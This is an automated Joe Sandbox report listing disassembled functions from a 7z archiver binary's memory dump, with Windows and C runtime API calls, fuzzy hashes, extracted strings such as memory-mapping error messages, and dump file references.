Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: Library$FreeLoad
String ID:
API String ID: 534179979-0
Opcode ID: 3a2e34574c688ca7af7f74dd229b4749d7d1e3364c56f11fc75fdd86188f9568
Instruction ID: c340122dc60df98d22fe4d16efddb0c08f259c91c054091627b4b675ba9861c7
Opcode Fuzzy Hash: 3a2e34574c688ca7af7f74dd229b4749d7d1e3364c56f11fc75fdd86188f9568
Instruction Fuzzy Hash: ADD05E1170166596FE156FA6695166903152F05BE1E88D030AE4A43395DE694CFBE310

Function 00C08BF0 Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE ref: 00C08C1F

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 1085791dad4498b16cc9abdee153caba491eab099019c6398aedde3617614eaf
Instruction ID: ac888e8beeb16c54b97d3d1a02c8e94816142b65f5cbb4e579f3ee37998e1b47
Opcode Fuzzy Hash: 1085791dad4498b16cc9abdee153caba491eab099019c6398aedde3617614eaf
Instruction Fuzzy Hash: 14E04676228680CBE750CF60E400B5AB3A0F388B24F000214DE8A83B54CBBDC055CF40

Function 00C06464 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE(?,?,?,00C064E7), ref: 00C06475

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 263427ff8568d61754d606e09aee6c08ed44ac838dad2c881132b4691fd57d34
Instruction ID: 9c417641256aa7c5fcb12a23e3afe630ec55a31bb55289d7d3417ba68a4ca469
Opcode Fuzzy Hash: 263427ff8568d61754d606e09aee6c08ed44ac838dad2c881132b4691fd57d34
Instruction Fuzzy Hash: 29D012A2702504C9FF158FE2E86473D23546B58F44F5C5014CE254A380EB2989A6C760

Function 00C08AF4 Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE ref: 00C08B16

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: d6e337c251ae6e5d4ca8af2bcbb66e5cb8e311ff68b77760b7eea80f1dd1c151
Instruction ID: 91c32785765fc5fa6890105aac2d5c7187dd3d80e8f6391fbab9f5f3de0bb202
Opcode Fuzzy Hash: d6e337c251ae6e5d4ca8af2bcbb66e5cb8e311ff68b77760b7eea80f1dd1c151
Instruction Fuzzy Hash: 79D01776614684C6E7008FA0E055B5AF764F388B64F480108EA8806764CBBCC19ACB00

Function 00C026A0 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C026C1

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputs
String ID:
API String ID: 1795875747-0
Opcode ID: 5f6c79e67240f10e506dcd010c05e3fcb41f145b375b3b6d5ae371637dca3dc7
Instruction ID: ec52faeffa0ebc1cbb55abc076b83f781eab8051d22465aa5332e6c1eb284874
Opcode Fuzzy Hash: 5f6c79e67240f10e506dcd010c05e3fcb41f145b375b3b6d5ae371637dca3dc7
Instruction Fuzzy Hash: 9AD0A9D2700B0882DE109B2AE8102696321BB88BC8F088121DE9E0B328EA2CC209CB00

Function 00C0794C Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE ref: 00C0795E

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 722c96f04a6826338d67a42852ca525e19c432cc1267ed16e2c090f8721fb2dc
Instruction ID: b825ea21249df15d64e6ef69d331cfa74867a5ad63a1e7318000ebf5164200f1
Opcode Fuzzy Hash: 722c96f04a6826338d67a42852ca525e19c432cc1267ed16e2c090f8721fb2dc
Instruction Fuzzy Hash: 72D01375F0994581EF351F79D4407641355AB54F74F184310C9B4493E0DF2985D7C711

Function 00C08BB0 Relevance: 1.5, APIs: 1, Instructions: 8timeCOMMON

Download Yara Rule

APIs

SetFileTime.KERNELBASE ref: 00C08BB7

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: FileTime
String ID:
API String ID: 1425588814-0
Opcode ID: 27dcbfd971054ac7552dc6a0aec683e37694d7ffe7d38722d02be5010972bc1d
Instruction ID: 3542c9dcf3b96c02bc12363335eced192d3345c0bf24abc3fae94c7f9f77458f
Opcode Fuzzy Hash: 27dcbfd971054ac7552dc6a0aec683e37694d7ffe7d38722d02be5010972bc1d
Instruction Fuzzy Hash: 1AB09220B12400C2DB0C6722D8A231C13607788B21FE14429C50BD5650CD1C85EA8700

Function 00C33D58 Relevance: 1.3, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00C33E2A

Part of subcall function 00C02130: malloc.MSVCRT ref: 00C02134
Part of subcall function 00C02130: _CxxThrowException.MSVCRT ref: 00C0214F

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: ErrorExceptionLastThrowmalloc
String ID:
API String ID: 2114622545-0
Opcode ID: d4ea1d102b1c7dc8699f510d58c17edd9958139f26de21dfa11ec5a19182766b
Instruction ID: cfc8467e1e2c7ef0eff00fe94509afc5552e96612dbcf8d219375ad6d11d57d4
Opcode Fuzzy Hash: d4ea1d102b1c7dc8699f510d58c17edd9958139f26de21dfa11ec5a19182766b
Instruction Fuzzy Hash: 2E31AF33221B8086DB159F25D588769B7A5FB88FD0F1845349FAA077A4EF38CA55C300

Function 00C2373C Relevance: 1.3, APIs: 1, Instructions: 86COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C237FB

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: deeb8322bb3e31c61ea61dbc074885bb59698c861cc3d3bf43e6ee2464223888
Instruction ID: c361144d225338e1735a7ff2c2cc125756a9994f5c55ceafdd9d86237757f826
Opcode Fuzzy Hash: deeb8322bb3e31c61ea61dbc074885bb59698c861cc3d3bf43e6ee2464223888
Instruction Fuzzy Hash: 742128B37042A496CB24DA1AB80055E7695F745FA4F245235FE668BF84EB3CCA42C740

Function 00C29078 Relevance: 1.3, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

memmove.MSVCRT(?,?,?,?,?,00C29B61), ref: 00C2911C

Part of subcall function 00C02130: malloc.MSVCRT ref: 00C02134
Part of subcall function 00C02130: _CxxThrowException.MSVCRT ref: 00C0214F

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: ExceptionThrowmallocmemmove
String ID:
API String ID: 2847158419-0
Opcode ID: 82b4f0498024add381b52464ee5401255b55fdf908ae796dc16d5b0bf27a9309
Instruction ID: 6f3052fae4b7daa674e140d2654a58d1a1b8837e057d4c843f67119ff4f655a8
Opcode Fuzzy Hash: 82b4f0498024add381b52464ee5401255b55fdf908ae796dc16d5b0bf27a9309
Instruction Fuzzy Hash: E3216D37201B5485DB119F1AF81472EB3A0F788FA8F198225DF6807794DF39C8A2C750

Function 00C0C90C Relevance: 1.3, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00C0C995

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: eb002aa5dddfab1f6f72238e3db67cd756069b3d051d820f05e845315efd0b1d
Instruction ID: 9d26f676739049b57dcae18a7e34466c3423a48d1db4672ff90c998a065a2524
Opcode Fuzzy Hash: eb002aa5dddfab1f6f72238e3db67cd756069b3d051d820f05e845315efd0b1d
Instruction Fuzzy Hash: F011597272565087CB308B6CE4D07287250F710780B64833ADBDA8BAD4DB6ACD96E741

Function 00C33EE0 Relevance: 1.3, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 00C2419C: free.MSVCRT ref: 00C241B9
Part of subcall function 00C2419C: free.MSVCRT ref: 00C241C5
Part of subcall function 00C2419C: free.MSVCRT ref: 00C241D1
Part of subcall function 00C2419C: free.MSVCRT ref: 00C241DD
Part of subcall function 00C2419C: free.MSVCRT ref: 00C241E6
Part of subcall function 00C2419C: free.MSVCRT ref: 00C241EF
Part of subcall function 00C2419C: free.MSVCRT ref: 00C241F8

free.MSVCRT ref: 00C33F45

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 9f8a1d2c49b0bee4d130ff5c6d2e38f6001c7bac36fe86653caaa0f784b82661
Instruction ID: fa2c76efa04dad212124d667e6939c1d40f0cdd9977b84727fb8442a9970213a
Opcode Fuzzy Hash: 9f8a1d2c49b0bee4d130ff5c6d2e38f6001c7bac36fe86653caaa0f784b82661
Instruction Fuzzy Hash: DA012973A20390CAC7219F1DC18116DBB24F759FE83689256EB5907760E732C883C7A1

Function 00C08624 Relevance: 1.3, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C086A9

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 0cb8849b5f1b8dcf8495defb4a02ef2f2e9066f911d13bd2e7f25b7badd2a547
Instruction ID: d72caeaa670abedfcc317ac4a91ea977e6f0ce7a8b94ca988c916f0c40ca179a
Opcode Fuzzy Hash: 0cb8849b5f1b8dcf8495defb4a02ef2f2e9066f911d13bd2e7f25b7badd2a547
Instruction Fuzzy Hash: 4F01FB763562408AE710CF14D56C35E7BA0A7D5B68F140208DBA44B3D1CBBAC64ACFA4

Function 00C0CB78 Relevance: 1.3, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00C0CBA8

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 72e9e68ca430013701742a141a95d2249b3bc08b53a58632590991780ceaea4c
Instruction ID: deeff07621821c70f852af9e8d01ccdf74320d82cc42275af1b79cf6f4582d1f
Opcode Fuzzy Hash: 72e9e68ca430013701742a141a95d2249b3bc08b53a58632590991780ceaea4c
Instruction Fuzzy Hash: 9AF0AB6230004887CB00DF7988C072C31A1FB08794F901539EF8687741E938CCD9CB20

Function 00C0CB34 Relevance: 1.3, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00C089D8: CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,FFFFFFFF,?,?,?,00000003,?,00000000,00000000), ref: 00C089EA

GetLastError.KERNEL32 ref: 00C0CB49

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: a07007c1e2871dab96c79eb06679e0159d305b21fb5ff06fcf71a401af31ebbf
Instruction ID: 1661caff89bfc10a39f549a2d81f75136811b57a66462e997a91115c14f20f8b
Opcode Fuzzy Hash: a07007c1e2871dab96c79eb06679e0159d305b21fb5ff06fcf71a401af31ebbf
Instruction Fuzzy Hash: 1DD05B4575019487EB106BB958D17381081B718752F901639DDABC6292E41CCDCDE629

Function 00C03314 Relevance: 1.3, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00C03339

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: ead37c245d68de3b924b300fd151c9469a6fa14fdf63e67ea49c121c3f4112c9
Instruction ID: 5a63cb3ac4e25a32032414f705353d688c8ddb928afdc18222e3482900429f31
Opcode Fuzzy Hash: ead37c245d68de3b924b300fd151c9469a6fa14fdf63e67ea49c121c3f4112c9
Instruction Fuzzy Hash: 43D0A7A6B406D887CA05AF27D68151DA321EB8CFD4708D0249F090B70ACE30CCE5CB50

Function 00C089D8 Relevance: 1.3, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,FFFFFFFF,?,?,?,00000003,?,00000000,00000000), ref: 00C089EA

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 7026176aaa05c1561b6c1c0339a02e34eafe156cfb338b490f72a4c876cde8b9
Instruction ID: 3220f864b957ac18a1b1ad4c4652699539b8ca4065f0f9b02ff54966f44a152d
Opcode Fuzzy Hash: 7026176aaa05c1561b6c1c0339a02e34eafe156cfb338b490f72a4c876cde8b9
Instruction Fuzzy Hash: 88D0A77260194480DB252F7EC84033C1350A714B74F188310C9F04A2D0DF248ACBC301

Function 00C0CDF4 Relevance: 1.3, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C0CE0D

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 05270de921355061923bde3ca11a4f499c626c5521d971614da1d539e5086f1e
Instruction ID: 0160f65b4e3f7c79a6fc5f7585405b50256c00f84a9d7d6fc751c04fe99255e9
Opcode Fuzzy Hash: 05270de921355061923bde3ca11a4f499c626c5521d971614da1d539e5086f1e
Instruction Fuzzy Hash: DDC08C2178234882CA09232F6FCA32C02020F8ABD1E5C50209F580BBD2DA548CE2D700

Non-executed Functions

Function 00C0F1B4 Relevance: 79.1, APIs: 39, Strings: 6, Instructions: 318COMMON

Download Yara Rule

APIs

Part of subcall function 00C03314: memmove.MSVCRT ref: 00C03339

free.MSVCRT ref: 00C0F201
free.MSVCRT ref: 00C0F23D

Strings

Can not open mapping, xrefs: 00C0F33E
Map data error, xrefs: 00C0F58D
MapViewOfFile error, xrefs: 00C0F3C9
Incorrect Map command, xrefs: 00C0F206, 00C0F242
Unsupported Map data, xrefs: 00C0F464
Unsupported Map data size, xrefs: 00C0F665

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$memmove
String ID: Can not open mapping$Incorrect Map command$Map data error$MapViewOfFile error$Unsupported Map data$Unsupported Map data size
API String ID: 1534225298-798110030
Opcode ID: 514f4a55c9b7f830d527a1e71fc81ac4b18dd3f2c8c4aaf2250e63e43436fdca
Instruction ID: 8ad66431865b368a0705f5133eab98f5d3f6d4f0a95a430e1d206b1a04814bbc
Opcode Fuzzy Hash: 514f4a55c9b7f830d527a1e71fc81ac4b18dd3f2c8c4aaf2250e63e43436fdca
Instruction Fuzzy Hash: ADC14072218A40C5DB20EF11F890B5EB760F7D5B90F94513AFA8B43AA5DF78D986CB40

Function 00C32578 Relevance: 45.3, APIs: 36, Instructions: 335COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C32578
free.MSVCRT ref: 00C3257A
free.MSVCRT ref: 00C3258B
free.MSVCRT ref: 00C3259C
free.MSVCRT ref: 00C325AD
free.MSVCRT ref: 00C325BA
free.MSVCRT ref: 00C3279A
free.MSVCRT ref: 00C327A7
free.MSVCRT ref: 00C327B4
free.MSVCRT ref: 00C327C1

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 09bc4f2532211b0a1dcd74d5bcbdcf73cd8d77d2c3735b1cacf78fea39811e06
Instruction ID: 33addec6f51f0ff103d563460dc637f0ba0cbf2a5eedee4c72de6ec635d189f8
Opcode Fuzzy Hash: 09bc4f2532211b0a1dcd74d5bcbdcf73cd8d77d2c3735b1cacf78fea39811e06
Instruction Fuzzy Hash: 35D13776218AD4C2CA34DF26E464AAEB760F7CAB84F016042DF9E53B65CE38C945DB44

Function 00C466A8 Relevance: 43.9, APIs: 12, Strings: 13, Instructions: 131libraryloadertimeCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00C466B6
GetProcessTimes.KERNEL32 ref: 00C466E1
memset.MSVCRT ref: 00C4670C
GetModuleHandleW.KERNEL32 ref: 00C46721
GetProcAddress.KERNEL32 ref: 00C46734
LoadLibraryW.KERNEL32 ref: 00C46749
GetProcAddress.KERNEL32 ref: 00C4675E
GetCurrentProcess.KERNEL32 ref: 00C4676C
GetProcAddress.KERNEL32 ref: 00C4678B
GetCurrentProcess.KERNEL32 ref: 00C46799
fputs.MSVCRT ref: 00C4682A
fputs.MSVCRT ref: 00C46864

Strings

Physical, xrefs: 00C468C2
GetProcessMemoryInfo, xrefs: 00C46754
Kernel , xrefs: 00C46806
User , xrefs: 00C4686A
K32GetProcessMemoryInfo, xrefs: 00C46727
H, xrefs: 00C466FC
Virtual , xrefs: 00C4689B
Psapi.dll, xrefs: 00C46742
Process, xrefs: 00C46880
QueryProcessCycleTime, xrefs: 00C46781
MCycles, xrefs: 00C4685A
Global , xrefs: 00C468A7
kernel32.dll, xrefs: 00C46711

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: Process$AddressCurrentProc$fputs$HandleLibraryLoadModuleTimesmemset
String ID: MCycles$GetProcessMemoryInfo$Global $H$K32GetProcessMemoryInfo$Kernel $Physical$Process$Psapi.dll$QueryProcessCycleTime$User $Virtual $kernel32.dll
API String ID: 600854398-319139910
Opcode ID: 4de089bbcb59170ecffb44d8e6b4bb1020c1b67aaf46552131cc09be39bde8ef
Instruction ID: cea51319731db401aae5f3efe2aa7b1a19996725fe63b756120fb8a3359b180a
